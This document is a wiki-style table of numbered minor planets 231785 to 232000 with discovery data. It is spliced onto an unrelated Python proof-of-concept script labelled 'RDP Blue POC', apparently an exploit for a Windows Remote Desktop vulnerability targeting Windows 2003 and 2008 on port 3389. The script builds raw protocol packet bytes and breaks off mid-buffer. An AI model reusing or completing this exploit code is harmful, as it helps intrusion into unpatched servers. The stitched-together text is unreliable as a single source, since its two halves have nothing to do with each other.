|-id=785 bgcolor=#fefefe
| 231785 || || — || February 4, 2000 || Socorro || LINEAR || FLO || align=right | 1.0 km ||
|-id=786 bgcolor=#fefefe
| 231786 || || — || February 9, 2000 || Siding Spring || R. H. McNaught || — || align=right data-sort-value="0.90" | 900 m ||
|-id=787 bgcolor=#fefefe
| 231787 || || — || February 8, 2000 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=788 bgcolor=#d6d6d6
| 231788 || || — || February 12, 2000 || Kitt Peak || Spacewatch || KAR || align=right | 1.5 km ||
|-id=789 bgcolor=#d6d6d6
| 231789 || || — || February 3, 2000 || Kitt Peak || Spacewatch || KOR || align=right | 2.0 km ||
|-id=790 bgcolor=#d6d6d6
| 231790 || || — || February 4, 2000 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=791 bgcolor=#d6d6d6
| 231791 || || — || February 28, 2000 || Socorro || LINEAR || ITH || align=right | 4.8 km ||
|-id=792 bgcolor=#FFC2E0
| 231792 || || — || February 26, 2000 || Catalina || CSS || AMO || align=right data-sort-value="0.59" | 590 m ||
|-id=793 bgcolor=#d6d6d6
| 231793 || || — || February 26, 2000 || Kitt Peak || Spacewatch || NAE || align=right | 3.0 km ||
|-id=794 bgcolor=#fefefe
| 231794 || || — || February 28, 2000 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.92" | 920 m ||
|-id=795 bgcolor=#fefefe
| 231795 || || — || February 29, 2000 || Socorro || LINEAR || — || align=right data-sort-value="0.90" | 900 m ||
|-id=796 bgcolor=#fefefe
| 231796 || || — || February 29, 2000 || Socorro || LINEAR || — || align=right | 1.1 km ||
|-id=797 bgcolor=#fefefe
| 231797 || || — || February 27, 2000 || Kitt Peak || Spacewatch || PHO || align=right | 1.3 km ||
|-id=798 bgcolor=#fefefe
| 231798 || || — || March 3, 2000 || Socorro || LINEAR || — || align=right | 1.5 km ||
|-id=799 bgcolor=#d6d6d6
| 231799 || || — || March 3, 2000 || Socorro || LINEAR || — || align=right | 5.3 km ||
|-id=800 bgcolor=#E9E9E9
| 231800 || || — || March 5, 2000 || Socorro || LINEAR || HNA || align=right | 3.1 km ||
|}
231801–231900
|-bgcolor=#FA8072
| 231801 || || — || March 6, 2000 || Višnjan Observatory || K. Korlević || — || align=right | 2.2 km ||
|-id=802 bgcolor=#fefefe
| 231802 || || — || March 3, 2000 || Kitt Peak || Spacewatch || — || align=right | 2.0 km ||
|-id=803 bgcolor=#d6d6d6
| 231803 || || — || March 12, 2000 || Socorro || LINEAR || — || align=right | 3.7 km ||
|-id=804 bgcolor=#d6d6d6
| 231804 || || — || March 11, 2000 || Anderson Mesa || LONEOS || — || align=right | 5.7 km ||
|-id=805 bgcolor=#d6d6d6
| 231805 || || — || March 10, 2000 || Kitt Peak || Spacewatch || — || align=right | 4.9 km ||
|-id=806 bgcolor=#d6d6d6
| 231806 || || — || March 11, 2000 || Anderson Mesa || LONEOS || — || align=right | 3.9 km ||
|-id=807 bgcolor=#d6d6d6
| 231807 || || — || March 4, 2000 || Socorro || LINEAR || — || align=right | 6.6 km ||
|-id=808 bgcolor=#d6d6d6
| 231808 || || — || March 4, 2000 || Socorro || LINEAR || — || align=right | 6.2 km ||
|-id=809 bgcolor=#d6d6d6
| 231809 || || — || March 29, 2000 || Socorro || LINEAR || — || align=right | 3.7 km ||
|-id=810 bgcolor=#fefefe
| 231810 || || — || March 27, 2000 || Anderson Mesa || LONEOS || — || align=right | 1.4 km ||
|-id=811 bgcolor=#d6d6d6
| 231811 || || — || April 5, 2000 || Socorro || LINEAR || EOS || align=right | 2.8 km ||
|-id=812 bgcolor=#d6d6d6
| 231812 || || — || April 5, 2000 || Socorro || LINEAR || — || align=right | 4.2 km ||
|-id=813 bgcolor=#d6d6d6
| 231813 || || — || April 5, 2000 || Socorro || LINEAR || — || align=right | 2.5 km ||
|-id=814 bgcolor=#d6d6d6
| 231814 || || — || April 5, 2000 || Socorro || LINEAR || — || align=right | 3.0 km ||
|-id=815 bgcolor=#fefefe
| 231815 || || — || April 3, 2000 || Kitt Peak || Spacewatch || — || align=right | 1.3 km ||
|-id=816 bgcolor=#d6d6d6
| 231816 || || — || April 7, 2000 || Kitt Peak || Spacewatch || THM || align=right | 3.5 km ||
|-id=817 bgcolor=#d6d6d6
| 231817 || || — || April 5, 2000 || Socorro || LINEAR || ALA || align=right | 4.7 km ||
|-id=818 bgcolor=#fefefe
| 231818 || || — || April 5, 2000 || Socorro || LINEAR || V || align=right data-sort-value="0.68" | 680 m ||
|-id=819 bgcolor=#d6d6d6
| 231819 || || — || April 28, 2000 || Anderson Mesa || LONEOS || — || align=right | 5.3 km ||
|-id=820 bgcolor=#fefefe
| 231820 || || — || April 28, 2000 || Anderson Mesa || LONEOS || V || align=right | 1.2 km ||
|-id=821 bgcolor=#fefefe
| 231821 || || — || April 28, 2000 || Anderson Mesa || LONEOS || PHO || align=right | 3.7 km ||
|-id=822 bgcolor=#d6d6d6
| 231822 || || — || April 27, 2000 || Anderson Mesa || LONEOS || — || align=right | 4.2 km ||
|-id=823 bgcolor=#d6d6d6
| 231823 || || — || May 3, 2000 || Socorro || LINEAR || URS || align=right | 5.9 km ||
|-id=824 bgcolor=#d6d6d6
| 231824 || || — || May 7, 2000 || Socorro || LINEAR || — || align=right | 3.6 km ||
|-id=825 bgcolor=#fefefe
| 231825 || || — || May 6, 2000 || Socorro || LINEAR || — || align=right | 1.4 km ||
|-id=826 bgcolor=#d6d6d6
| 231826 || || — || May 4, 2000 || Apache Point || SDSS || EOS || align=right | 3.2 km ||
|-id=827 bgcolor=#d6d6d6
| 231827 || || — || May 30, 2000 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=828 bgcolor=#d6d6d6
| 231828 || || — || May 25, 2000 || Anderson Mesa || LONEOS || — || align=right | 5.9 km ||
|-id=829 bgcolor=#d6d6d6
| 231829 || || — || May 27, 2000 || Anderson Mesa || LONEOS || — || align=right | 4.8 km ||
|-id=830 bgcolor=#E9E9E9
| 231830 || || — || June 4, 2000 || Socorro || LINEAR || — || align=right | 2.7 km ||
|-id=831 bgcolor=#E9E9E9
| 231831 || || — || July 23, 2000 || Socorro || LINEAR || — || align=right | 3.1 km ||
|-id=832 bgcolor=#fefefe
| 231832 || || — || July 31, 2000 || Cerro Tololo || M. W. Buie || NYS || align=right data-sort-value="0.91" | 910 m ||
|-id=833 bgcolor=#d6d6d6
| 231833 || || — || August 3, 2000 || Kitt Peak || Spacewatch || — || align=right | 7.0 km ||
|-id=834 bgcolor=#fefefe
| 231834 || || — || August 24, 2000 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=835 bgcolor=#E9E9E9
| 231835 || || — || August 24, 2000 || Socorro || LINEAR || — || align=right | 1.6 km ||
|-id=836 bgcolor=#fefefe
| 231836 || || — || August 24, 2000 || Socorro || LINEAR || — || align=right | 1.6 km ||
|-id=837 bgcolor=#E9E9E9
| 231837 || || — || August 29, 2000 || Socorro || LINEAR || — || align=right | 1.9 km ||
|-id=838 bgcolor=#E9E9E9
| 231838 || || — || August 31, 2000 || Socorro || LINEAR || — || align=right | 5.5 km ||
|-id=839 bgcolor=#fefefe
| 231839 || || — || August 31, 2000 || Socorro || LINEAR || — || align=right | 1.4 km ||
|-id=840 bgcolor=#E9E9E9
| 231840 || || — || August 31, 2000 || Goodricke-Pigott || R. A. Tucker || — || align=right | 3.6 km ||
|-id=841 bgcolor=#fefefe
| 231841 || || — || August 25, 2000 || Cerro Tololo || M. W. Buie || MAS || align=right data-sort-value="0.98" | 980 m ||
|-id=842 bgcolor=#fefefe
| 231842 || || — || August 27, 2000 || Cerro Tololo || M. W. Buie || — || align=right | 1.1 km ||
|-id=843 bgcolor=#fefefe
| 231843 || || — || September 2, 2000 || Socorro || LINEAR || — || align=right | 1.6 km ||
|-id=844 bgcolor=#d6d6d6
| 231844 || || — || September 3, 2000 || Socorro || LINEAR || ALA || align=right | 5.8 km ||
|-id=845 bgcolor=#E9E9E9
| 231845 || || — || September 1, 2000 || Socorro || LINEAR || — || align=right | 2.4 km ||
|-id=846 bgcolor=#fefefe
| 231846 || || — || September 2, 2000 || Anderson Mesa || LONEOS || — || align=right | 1.7 km ||
|-id=847 bgcolor=#E9E9E9
| 231847 || || — || September 2, 2000 || Anderson Mesa || LONEOS || — || align=right | 1.9 km ||
|-id=848 bgcolor=#E9E9E9
| 231848 || || — || September 24, 2000 || Socorro || LINEAR || — || align=right | 1.1 km ||
|-id=849 bgcolor=#d6d6d6
| 231849 || || — || September 24, 2000 || Socorro || LINEAR || THM || align=right | 5.6 km ||
|-id=850 bgcolor=#E9E9E9
| 231850 || || — || September 23, 2000 || Socorro || LINEAR || — || align=right | 2.0 km ||
|-id=851 bgcolor=#fefefe
| 231851 || || — || September 24, 2000 || Socorro || LINEAR || NYS || align=right | 1.1 km ||
|-id=852 bgcolor=#E9E9E9
| 231852 || || — || September 23, 2000 || Socorro || LINEAR || — || align=right | 2.2 km ||
|-id=853 bgcolor=#E9E9E9
| 231853 || || — || September 23, 2000 || Socorro || LINEAR || — || align=right | 2.0 km ||
|-id=854 bgcolor=#E9E9E9
| 231854 || || — || September 22, 2000 || Socorro || LINEAR || — || align=right | 1.9 km ||
|-id=855 bgcolor=#E9E9E9
| 231855 || || — || September 23, 2000 || Socorro || LINEAR || — || align=right | 2.0 km ||
|-id=856 bgcolor=#E9E9E9
| 231856 || || — || September 23, 2000 || Socorro || LINEAR || — || align=right | 1.7 km ||
|-id=857 bgcolor=#E9E9E9
| 231857 || || — || September 24, 2000 || Socorro || LINEAR || — || align=right | 2.9 km ||
|-id=858 bgcolor=#E9E9E9
| 231858 || || — || September 23, 2000 || Socorro || LINEAR || — || align=right | 3.1 km ||
|-id=859 bgcolor=#E9E9E9
| 231859 || || — || September 23, 2000 || Socorro || LINEAR || — || align=right | 2.2 km ||
|-id=860 bgcolor=#fefefe
| 231860 || || — || September 21, 2000 || Kitt Peak || Spacewatch || V || align=right data-sort-value="0.85" | 850 m ||
|-id=861 bgcolor=#fefefe
| 231861 || || — || September 24, 2000 || Socorro || LINEAR || — || align=right | 1.6 km ||
|-id=862 bgcolor=#E9E9E9
| 231862 || || — || September 24, 2000 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=863 bgcolor=#E9E9E9
| 231863 || || — || September 24, 2000 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=864 bgcolor=#E9E9E9
| 231864 || || — || September 28, 2000 || Socorro || LINEAR || — || align=right | 2.2 km ||
|-id=865 bgcolor=#E9E9E9
| 231865 || || — || September 26, 2000 || Socorro || LINEAR || — || align=right | 2.6 km ||
|-id=866 bgcolor=#E9E9E9
| 231866 || || — || September 26, 2000 || Socorro || LINEAR || MAR || align=right | 3.2 km ||
|-id=867 bgcolor=#E9E9E9
| 231867 || || — || September 27, 2000 || Socorro || LINEAR || JUN || align=right | 3.4 km ||
|-id=868 bgcolor=#fefefe
| 231868 || || — || September 29, 2000 || Anderson Mesa || LONEOS || CHL || align=right | 2.8 km ||
|-id=869 bgcolor=#E9E9E9
| 231869 || || — || September 20, 2000 || Socorro || LINEAR || — || align=right | 1.6 km ||
|-id=870 bgcolor=#d6d6d6
| 231870 || || — || September 21, 2000 || Anderson Mesa || LONEOS || ULA7:4 || align=right | 9.0 km ||
|-id=871 bgcolor=#E9E9E9
| 231871 || || — || October 1, 2000 || Socorro || LINEAR || — || align=right | 3.5 km ||
|-id=872 bgcolor=#d6d6d6
| 231872 || || — || October 2, 2000 || Socorro || LINEAR || 3:2 || align=right | 6.2 km ||
|-id=873 bgcolor=#E9E9E9
| 231873 || || — || October 1, 2000 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=874 bgcolor=#E9E9E9
| 231874 || || — || October 24, 2000 || Socorro || LINEAR || — || align=right | 1.9 km ||
|-id=875 bgcolor=#E9E9E9
| 231875 || || — || October 24, 2000 || Socorro || LINEAR || — || align=right | 4.2 km ||
|-id=876 bgcolor=#E9E9E9
| 231876 || || — || October 24, 2000 || Socorro || LINEAR || — || align=right | 2.2 km ||
|-id=877 bgcolor=#E9E9E9
| 231877 || || — || October 25, 2000 || Socorro || LINEAR || — || align=right | 1.4 km ||
|-id=878 bgcolor=#E9E9E9
| 231878 || || — || October 24, 2000 || Socorro || LINEAR || — || align=right | 2.1 km ||
|-id=879 bgcolor=#fefefe
| 231879 || || — || October 25, 2000 || Socorro || LINEAR || V || align=right | 1.2 km ||
|-id=880 bgcolor=#E9E9E9
| 231880 || || — || October 21, 2000 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=881 bgcolor=#E9E9E9
| 231881 || || — || October 25, 2000 || Socorro || LINEAR || — || align=right | 1.5 km ||
|-id=882 bgcolor=#E9E9E9
| 231882 || 2000 VO || — || November 1, 2000 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=883 bgcolor=#E9E9E9
| 231883 || || — || November 2, 2000 || Ondřejov || P. Kušnirák, P. Pravec || — || align=right | 1.4 km ||
|-id=884 bgcolor=#E9E9E9
| 231884 || || — || November 1, 2000 || Socorro || LINEAR || — || align=right | 2.2 km ||
|-id=885 bgcolor=#fefefe
| 231885 || || — || November 1, 2000 || Socorro || LINEAR || V || align=right | 1.4 km ||
|-id=886 bgcolor=#E9E9E9
| 231886 || || — || November 1, 2000 || Socorro || LINEAR || — || align=right | 1.8 km ||
|-id=887 bgcolor=#E9E9E9
| 231887 || || — || November 2, 2000 || Socorro || LINEAR || — || align=right | 2.2 km ||
|-id=888 bgcolor=#E9E9E9
| 231888 || || — || November 3, 2000 || Socorro || LINEAR || — || align=right | 2.3 km ||
|-id=889 bgcolor=#E9E9E9
| 231889 || || — || November 20, 2000 || Socorro || LINEAR || — || align=right | 2.7 km ||
|-id=890 bgcolor=#E9E9E9
| 231890 || || — || November 20, 2000 || Socorro || LINEAR || JUN || align=right | 1.6 km ||
|-id=891 bgcolor=#E9E9E9
| 231891 || || — || November 21, 2000 || Socorro || LINEAR || — || align=right | 1.5 km ||
|-id=892 bgcolor=#E9E9E9
| 231892 || || — || November 19, 2000 || Socorro || LINEAR || — || align=right | 1.9 km ||
|-id=893 bgcolor=#E9E9E9
| 231893 || || — || November 20, 2000 || Socorro || LINEAR || ADE || align=right | 4.6 km ||
|-id=894 bgcolor=#E9E9E9
| 231894 || || — || November 20, 2000 || Socorro || LINEAR || — || align=right | 3.3 km ||
|-id=895 bgcolor=#E9E9E9
| 231895 || || — || November 20, 2000 || Socorro || LINEAR || — || align=right | 2.5 km ||
|-id=896 bgcolor=#E9E9E9
| 231896 || || — || November 20, 2000 || Socorro || LINEAR || — || align=right | 3.7 km ||
|-id=897 bgcolor=#E9E9E9
| 231897 || || — || November 21, 2000 || Socorro || LINEAR || DOR || align=right | 3.6 km ||
|-id=898 bgcolor=#E9E9E9
| 231898 || || — || November 28, 2000 || Kitt Peak || Spacewatch || — || align=right | 2.2 km ||
|-id=899 bgcolor=#E9E9E9
| 231899 || || — || November 30, 2000 || Socorro || LINEAR || — || align=right | 2.1 km ||
|-id=900 bgcolor=#d6d6d6
| 231900 || || — || November 29, 2000 || Anderson Mesa || LONEOS || THB || align=right | 5.0 km ||
|}
231901–232000
|-bgcolor=#E9E9E9
| 231901 || || — || December 4, 2000 || Socorro || LINEAR || ADE || align=right | 4.3 km ||
|-id=902 bgcolor=#E9E9E9
| 231902 || || — || December 4, 2000 || Socorro || LINEAR || MAR || align=right | 2.1 km ||
|-id=903 bgcolor=#E9E9E9
| 231903 || || — || December 4, 2000 || Socorro || LINEAR || — || align=right | 3.9 km ||
|-id=904 bgcolor=#E9E9E9
| 231904 || || — || December 6, 2000 || Socorro || LINEAR || MIT || align=right | 3.8 km ||
|-id=905 bgcolor=#fefefe
| 231905 || 2000 YL || — || December 16, 2000 || Socorro || LINEAR || — || align=right | 4.2 km ||
|-id=906 bgcolor=#E9E9E9
| 231906 || || — || December 22, 2000 || Kitt Peak || Spacewatch || — || align=right | 1.6 km ||
|-id=907 bgcolor=#E9E9E9
| 231907 || || — || December 30, 2000 || Socorro || LINEAR || — || align=right | 2.8 km ||
|-id=908 bgcolor=#E9E9E9
| 231908 || || — || December 30, 2000 || Socorro || LINEAR || — || align=right | 4.5 km ||
|-id=909 bgcolor=#d6d6d6
| 231909 || || — || December 30, 2000 || Socorro || LINEAR || 3:2 || align=right | 6.5 km ||
|-id=910 bgcolor=#E9E9E9
| 231910 || || — || December 30, 2000 || Socorro || LINEAR || — || align=right | 4.1 km ||
|-id=911 bgcolor=#E9E9E9
| 231911 || || — || December 30, 2000 || Socorro || LINEAR || ADE || align=right | 4.3 km ||
|-id=912 bgcolor=#E9E9E9
| 231912 || || — || December 30, 2000 || Socorro || LINEAR || — || align=right | 2.4 km ||
|-id=913 bgcolor=#d6d6d6
| 231913 || || — || December 26, 2000 || Haleakala || NEAT || — || align=right | 5.8 km ||
|-id=914 bgcolor=#E9E9E9
| 231914 || || — || December 19, 2000 || Kitt Peak || DLS || — || align=right | 2.5 km ||
|-id=915 bgcolor=#E9E9E9
| 231915 || 2001 AJ || — || January 1, 2001 || Kitt Peak || Spacewatch || — || align=right | 2.7 km ||
|-id=916 bgcolor=#E9E9E9
| 231916 || || — || January 15, 2001 || Socorro || LINEAR || JUN || align=right | 1.7 km ||
|-id=917 bgcolor=#E9E9E9
| 231917 || || — || January 20, 2001 || Socorro || LINEAR || — || align=right | 3.7 km ||
|-id=918 bgcolor=#E9E9E9
| 231918 || || — || January 19, 2001 || Socorro || LINEAR || — || align=right | 2.6 km ||
|-id=919 bgcolor=#E9E9E9
| 231919 || || — || January 26, 2001 || Socorro || LINEAR || — || align=right | 2.1 km ||
|-id=920 bgcolor=#E9E9E9
| 231920 || || — || January 23, 2001 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=921 bgcolor=#E9E9E9
| 231921 || || — || February 1, 2001 || Socorro || LINEAR || ADE || align=right | 4.5 km ||
|-id=922 bgcolor=#E9E9E9
| 231922 || || — || February 1, 2001 || Socorro || LINEAR || — || align=right | 3.5 km ||
|-id=923 bgcolor=#E9E9E9
| 231923 || || — || February 13, 2001 || Socorro || LINEAR || — || align=right | 4.2 km ||
|-id=924 bgcolor=#E9E9E9
| 231924 || || — || February 15, 2001 || Kleť || Kleť Obs. || — || align=right | 3.9 km ||
|-id=925 bgcolor=#E9E9E9
| 231925 || || — || February 13, 2001 || Socorro || LINEAR || — || align=right | 4.3 km ||
|-id=926 bgcolor=#E9E9E9
| 231926 || || — || February 1, 2001 || Socorro || LINEAR || GAL || align=right | 2.3 km ||
|-id=927 bgcolor=#E9E9E9
| 231927 || || — || February 17, 2001 || Socorro || LINEAR || CLO || align=right | 4.3 km ||
|-id=928 bgcolor=#E9E9E9
| 231928 || || — || February 19, 2001 || Socorro || LINEAR || — || align=right | 2.8 km ||
|-id=929 bgcolor=#E9E9E9
| 231929 || || — || February 19, 2001 || Socorro || LINEAR || MIS || align=right | 3.3 km ||
|-id=930 bgcolor=#E9E9E9
| 231930 || || — || February 19, 2001 || Socorro || LINEAR || — || align=right | 3.6 km ||
|-id=931 bgcolor=#E9E9E9
| 231931 || || — || February 20, 2001 || Socorro || LINEAR || — || align=right | 3.3 km ||
|-id=932 bgcolor=#E9E9E9
| 231932 || || — || February 20, 2001 || Socorro || LINEAR || — || align=right | 3.5 km ||
|-id=933 bgcolor=#E9E9E9
| 231933 || || — || February 16, 2001 || Kitt Peak || Spacewatch || — || align=right | 3.0 km ||
|-id=934 bgcolor=#E9E9E9
| 231934 || || — || March 2, 2001 || Haleakala || NEAT || — || align=right | 1.8 km ||
|-id=935 bgcolor=#E9E9E9
| 231935 || 2001 FO || — || March 16, 2001 || Socorro || LINEAR || — || align=right | 2.0 km ||
|-id=936 bgcolor=#d6d6d6
| 231936 || || — || March 19, 2001 || Kitt Peak || Spacewatch || — || align=right | 3.1 km ||
|-id=937 bgcolor=#FFC2E0
| 231937 || || — || March 23, 2001 || Socorro || LINEAR || APOPHA || align=right data-sort-value="0.86" | 860 m ||
|-id=938 bgcolor=#E9E9E9
| 231938 || || — || March 18, 2001 || Anderson Mesa || LONEOS || DOR || align=right | 3.5 km ||
|-id=939 bgcolor=#E9E9E9
| 231939 || || — || March 30, 2001 || Socorro || LINEAR || — || align=right | 2.3 km ||
|-id=940 bgcolor=#d6d6d6
| 231940 || || — || March 23, 2001 || Anderson Mesa || LONEOS || KOR || align=right | 2.5 km ||
|-id=941 bgcolor=#E9E9E9
| 231941 || || — || March 23, 2001 || Anderson Mesa || LONEOS || — || align=right | 3.2 km ||
|-id=942 bgcolor=#E9E9E9
| 231942 || || — || March 24, 2001 || Anderson Mesa || LONEOS || JUN || align=right | 1.9 km ||
|-id=943 bgcolor=#E9E9E9
| 231943 || || — || March 24, 2001 || Haleakala || NEAT || — || align=right | 2.0 km ||
|-id=944 bgcolor=#fefefe
| 231944 || || — || April 16, 2001 || Anderson Mesa || LONEOS || FLO || align=right data-sort-value="0.92" | 920 m ||
|-id=945 bgcolor=#E9E9E9
| 231945 || || — || April 25, 2001 || Anderson Mesa || LONEOS || — || align=right | 2.7 km ||
|-id=946 bgcolor=#E9E9E9
| 231946 || || — || May 18, 2001 || Goodricke-Pigott || R. A. Tucker || — || align=right | 2.4 km ||
|-id=947 bgcolor=#E9E9E9
| 231947 || || — || May 22, 2001 || Socorro || LINEAR || — || align=right | 4.5 km ||
|-id=948 bgcolor=#d6d6d6
| 231948 || || — || May 22, 2001 || Anderson Mesa || LONEOS || — || align=right | 3.9 km ||
|-id=949 bgcolor=#d6d6d6
| 231949 || || — || July 13, 2001 || Palomar || NEAT || — || align=right | 5.3 km ||
|-id=950 bgcolor=#d6d6d6
| 231950 || || — || July 13, 2001 || Palomar || NEAT || EMA || align=right | 7.0 km ||
|-id=951 bgcolor=#d6d6d6
| 231951 || || — || July 17, 2001 || Anderson Mesa || LONEOS || LIX || align=right | 6.1 km ||
|-id=952 bgcolor=#fefefe
| 231952 || || — || July 18, 2001 || Palomar || NEAT || — || align=right | 1.2 km ||
|-id=953 bgcolor=#d6d6d6
| 231953 || || — || July 18, 2001 || Haleakala || NEAT || — || align=right | 4.8 km ||
|-id=954 bgcolor=#fefefe
| 231954 || || — || July 22, 2001 || Palomar || NEAT || — || align=right | 1.3 km ||
|-id=955 bgcolor=#d6d6d6
| 231955 || || — || July 21, 2001 || Palomar || NEAT || EOS || align=right | 3.2 km ||
|-id=956 bgcolor=#fefefe
| 231956 || || — || July 20, 2001 || Palomar || NEAT || — || align=right | 2.9 km ||
|-id=957 bgcolor=#d6d6d6
| 231957 || || — || July 29, 2001 || Palomar || NEAT || — || align=right | 6.5 km ||
|-id=958 bgcolor=#d6d6d6
| 231958 || || — || August 14, 2001 || Haleakala || NEAT || AEG || align=right | 6.2 km ||
|-id=959 bgcolor=#fefefe
| 231959 || || — || August 14, 2001 || Haleakala || NEAT || — || align=right | 1.3 km ||
|-id=960 bgcolor=#fefefe
| 231960 || || — || August 16, 2001 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=961 bgcolor=#fefefe
| 231961 || || — || August 16, 2001 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=962 bgcolor=#d6d6d6
| 231962 || || — || August 16, 2001 || Socorro || LINEAR || — || align=right | 5.3 km ||
|-id=963 bgcolor=#fefefe
| 231963 || || — || August 16, 2001 || Socorro || LINEAR || — || align=right | 1.3 km ||
|-id=964 bgcolor=#fefefe
| 231964 || || — || August 16, 2001 || Socorro || LINEAR || NYS || align=right | 2.6 km ||
|-id=965 bgcolor=#fefefe
| 231965 || || — || August 16, 2001 || Socorro || LINEAR || — || align=right | 1.1 km ||
|-id=966 bgcolor=#fefefe
| 231966 || || — || August 16, 2001 || Socorro || LINEAR || — || align=right | 1.0 km ||
|-id=967 bgcolor=#d6d6d6
| 231967 || || — || August 16, 2001 || Socorro || LINEAR || — || align=right | 5.3 km ||
|-id=968 bgcolor=#d6d6d6
| 231968 || || — || August 17, 2001 || Socorro || LINEAR || THB || align=right | 5.4 km ||
|-id=969 bgcolor=#d6d6d6
| 231969 Sebvauclair || || || August 24, 2001 || Pic du Midi || Pic du Midi Obs. || URS || align=right | 5.2 km ||
|-id=970 bgcolor=#d6d6d6
| 231970 || || — || August 17, 2001 || La Palma || R. Greimel || — || align=right | 7.5 km ||
|-id=971 bgcolor=#fefefe
| 231971 || || — || August 23, 2001 || Anderson Mesa || LONEOS || NYS || align=right data-sort-value="0.87" | 870 m ||
|-id=972 bgcolor=#d6d6d6
| 231972 || || — || August 17, 2001 || Needville || Needville Obs. || — || align=right | 4.0 km ||
|-id=973 bgcolor=#d6d6d6
| 231973 || || — || August 17, 2001 || Socorro || LINEAR || URS || align=right | 6.9 km ||
|-id=974 bgcolor=#d6d6d6
| 231974 || || — || August 19, 2001 || Socorro || LINEAR || — || align=right | 5.6 km ||
|-id=975 bgcolor=#fefefe
| 231975 || || — || August 20, 2001 || Socorro || LINEAR || — || align=right | 1.1 km ||
|-id=976 bgcolor=#d6d6d6
| 231976 || || — || August 20, 2001 || Socorro || LINEAR || — || align=right | 6.0 km ||
|-id=977 bgcolor=#d6d6d6
| 231977 || || — || August 23, 2001 || Anderson Mesa || LONEOS || — || align=right | 3.5 km ||
|-id=978 bgcolor=#d6d6d6
| 231978 || || — || August 25, 2001 || Socorro || LINEAR || AEG || align=right | 5.8 km ||
|-id=979 bgcolor=#fefefe
| 231979 || || — || August 22, 2001 || Palomar || NEAT || H || align=right data-sort-value="0.94" | 940 m ||
|-id=980 bgcolor=#fefefe
| 231980 || || — || August 23, 2001 || Anderson Mesa || LONEOS || — || align=right | 1.4 km ||
|-id=981 bgcolor=#FA8072
| 231981 || || — || August 23, 2001 || Socorro || LINEAR || — || align=right data-sort-value="0.98" | 980 m ||
|-id=982 bgcolor=#fefefe
| 231982 || || — || August 24, 2001 || Socorro || LINEAR || NYS || align=right | 1.3 km ||
|-id=983 bgcolor=#fefefe
| 231983 || || — || August 24, 2001 || Socorro || LINEAR || — || align=right | 1.4 km ||
|-id=984 bgcolor=#fefefe
| 231984 || || — || August 28, 2001 || Anderson Mesa || LONEOS || V || align=right | 1.1 km ||
|-id=985 bgcolor=#fefefe
| 231985 || || — || August 27, 2001 || Palomar || NEAT || — || align=right | 1.3 km ||
|-id=986 bgcolor=#d6d6d6
| 231986 || || — || September 10, 2001 || Socorro || LINEAR || EUP || align=right | 5.5 km ||
|-id=987 bgcolor=#fefefe
| 231987 || || — || September 7, 2001 || Socorro || LINEAR || — || align=right data-sort-value="0.98" | 980 m ||
|-id=988 bgcolor=#d6d6d6
| 231988 || || — || September 7, 2001 || Socorro || LINEAR || — || align=right | 3.9 km ||
|-id=989 bgcolor=#fefefe
| 231989 || || — || September 8, 2001 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=990 bgcolor=#fefefe
| 231990 || || — || September 10, 2001 || Socorro || LINEAR || NYS || align=right | 1.3 km ||
|-id=991 bgcolor=#fefefe
| 231991 || || — || September 12, 2001 || Socorro || LINEAR || — || align=right | 1.7 km ||
|-id=992 bgcolor=#fefefe
| 231992 || || — || September 12, 2001 || Socorro || LINEAR || FLO || align=right data-sort-value="0.80" | 800 m ||
|-id=993 bgcolor=#d6d6d6
| 231993 || || — || September 12, 2001 || Socorro || LINEAR || — || align=right | 4.8 km ||
|-id=994 bgcolor=#d6d6d6
| 231994 || || — || September 12, 2001 || Socorro || LINEAR || THM || align=right | 3.6 km ||
|-id=995 bgcolor=#fefefe
| 231995 || || — || September 11, 2001 || Anderson Mesa || LONEOS || — || align=right | 1.2 km ||
|-id=996 bgcolor=#fefefe
| 231996 || || — || September 17, 2001 || Desert Eagle || W. K. Y. Yeung || — || align=right | 1.7 km ||
|-id=997 bgcolor=#fefefe
| 231997 || || — || September 16, 2001 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=998 bgcolor=#fefefe
| 231998 || || — || September 16, 2001 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=999 bgcolor=#fefefe
| 231999 || || — || September 16, 2001 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=000 bgcolor=#fefefe
| 232000 || || — || September 17, 2001 || Socorro || LINEAR || — || align=right | 1.8 km ||
|}
External links
Discovery Circumstances: Numbered Minor Planets (230001)–(235000) (IAU Minor Planet Center)
0231 |
#RDP Blue POC by k8gege
#Local: Win7 (python)
#Target: Win2003 & Win2008 (open 3389)
import socket
import sys
import os
import platform
buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #SERVICE T.125
buf+="\x01\x01\x04\x01\x01\x01\x01\xff"
buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
buf+="\x00\x00\x00\x00\x02\x04\x00\x00"#COMMUNICATION
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
buf+="\x30\x19\x02\x04\x00\x00\x00\x01"# TPKT, Version 5, Lenght 12
buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
